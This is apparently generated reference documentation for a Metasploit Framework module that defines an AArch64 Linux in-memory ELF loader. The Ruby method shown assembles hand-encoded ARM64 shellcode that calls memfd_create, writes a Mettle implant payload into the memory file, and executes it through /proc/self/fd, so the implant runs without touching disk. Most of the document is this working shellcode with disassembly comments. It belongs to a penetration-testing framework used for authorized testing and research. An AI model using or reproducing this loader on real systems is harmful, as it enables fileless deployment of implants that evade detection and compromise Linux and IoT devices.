Module: Msf::Payload::Linux::Aarch64::ElfLoader

Defined in:
lib/msf/core/payload/linux/aarch64/elf_loader.rb

Overview

In memory loader used to execute Mettle ELF file. Compatible with Kernel Linux >= 3.17 (where memfd_create is introduced) Author: Martin Sutovsky <martin_sutovskyrapid7.com> Resource and Credits: magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html ARM64 conventions

Parameters: x0-x7
Syscall offset: x8
Return Address for BL: x30

Instance Method Summary collapse

Instance Method Details

#in_memory_load(payload) ⇒ Object



12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# File 'lib/msf/core/payload/linux/aarch64/elf_loader.rb', line 12

def in_memory_load(payload)
  # the exec syscall can be substituted with execveat syscall, which takes out the need for itoa, however, it proved to be not stable across various IoT-specific kernel versions
  in_memory_loader = [
    # memfd_create(null, MFD_CLOEXEC);
    0x0a0080d2, # 0x1000:	mov	x10, #0	0x0a0080d2
    0xea0300f9, # 0x1004:	str	x10, [sp]	0xea0300f9
    0xe0030091, # 0x1008:	mov	x0, sp	0xe0030091
    0x210080d2, # 0x100c:	mov	x1, #1	0x210080d2
    0xe82280d2, # 0x1010:	mov	x8, #0x117	0xe82280d2
    0x010000d4, # 0x1014:	svc	#0	0x010000d4

    # use branching and branching with link to reliably get address of payload data
    0xe90300aa, # 0x1018:	mov	x9, x0	0xe90300aa
    0x1f000014, # 0x101c:	b	#0x1098	0x1f000014
    0xea031eaa, # 0x1020:	mov	x10, x30	0xea031eaa

    # write(fd,payload_addr, payload_size)
    0x420140b9, # 0x1024:	ldr	w2, [x10]	0x420140b9
    0x4a890091, # 0x1028:	add	x10, x10, #0x22	0x4a890091
    0xe1030aaa, # 0x102c:	mov	x1, x10	0xe1030aaa
    0x080880d2, # 0x1030:	mov	x8, #0x40	0x080880d2
    0x010000d4, # 0x1034:	svc	#0	0x010000d4

    # convert fd using itoa and append it to /proc/self/fd/
    0x4b0180d2, # 0x1038:	mov	x11, #0xa	0x4b0180d2
    0x4a0900d1, # 0x103c:	sub	x10, x10, #2	0x4a0900d1
    0x2c09cb9a, # 0x1040:	udiv	x12, x9, x11	0x2c09cb9a
    0x8d7d0b9b, # 0x1044:	mul	x13, x12, x11	0x8d7d0b9b
    0x2d010dcb, # 0x1048:	sub	x13, x9, x13	0x2d010dcb
    0xe9030caa, # 0x104c:	mov	x9, x12	0xe9030caa
    0xadc10091, # 0x1050:	add	x13, x13, #0x30	0xadc10091
    0x4d010039, # 0x1054:	strb	w13, [x10]	0x4d010039
    0x4a0500d1, # 0x1058:	sub	x10, x10, #1	0x4a0500d1
    0x3f0100f1, # 0x105c:	cmp	x9, #0	0x3f0100f1
    0x01ffff54, # 0x1060:	b.ne	#0x1040	0x01ffff54
    0xe90580d2, # 0x1064:	mov	x9, #0x2f	0xe90580d2
    0x4b014039, # 0x1068:	ldrb	w11, [x10]	0x4b014039
    0x7f0109eb, # 0x106c:	cmp	x11, x9	0x7f0109eb
    0x80000054, # 0x1070:	b.eq	#0x1080	0x80000054
    0x49010039, # 0x1074:	strb	w9, [x10]	0x49010039
    0x4a0500d1, # 0x1078:	sub	x10, x10, #1	0x4a0500d1
    0xfaffff17, # 0x107c:	b	#0x1064	0xfaffff17
    0x4a3500d1, # 0x1080:	sub	x10, x10, #0xd	0x4a3500d1
    # execve(/proc/self/fd/[fd],0,0)
    0xe0030aaa, # 0x1084:	mov	x0, x10	0xe0030aaa
    0x010080d2, # 0x1088:	mov	x1, #0	0x010080d2
    0x020080d2, # 0x108c:	mov	x2, #0	0x020080d2
    0xa81b80d2, # 0x1090:	mov	x8, #0xdd	0xa81b80d2
    0x010000d4, # 0x1094:	svc	#0	0x010000d4
    0xe2ffff97, # 0x1098:	bl	#0x1020	0xe2ffff97,
  ].pack('N*')
  fd_path = '/proc/self/fd/'.bytes.pack('c*') + "\x00" * 16
  in_memory_loader + [payload.length].pack('V*') + fd_path
end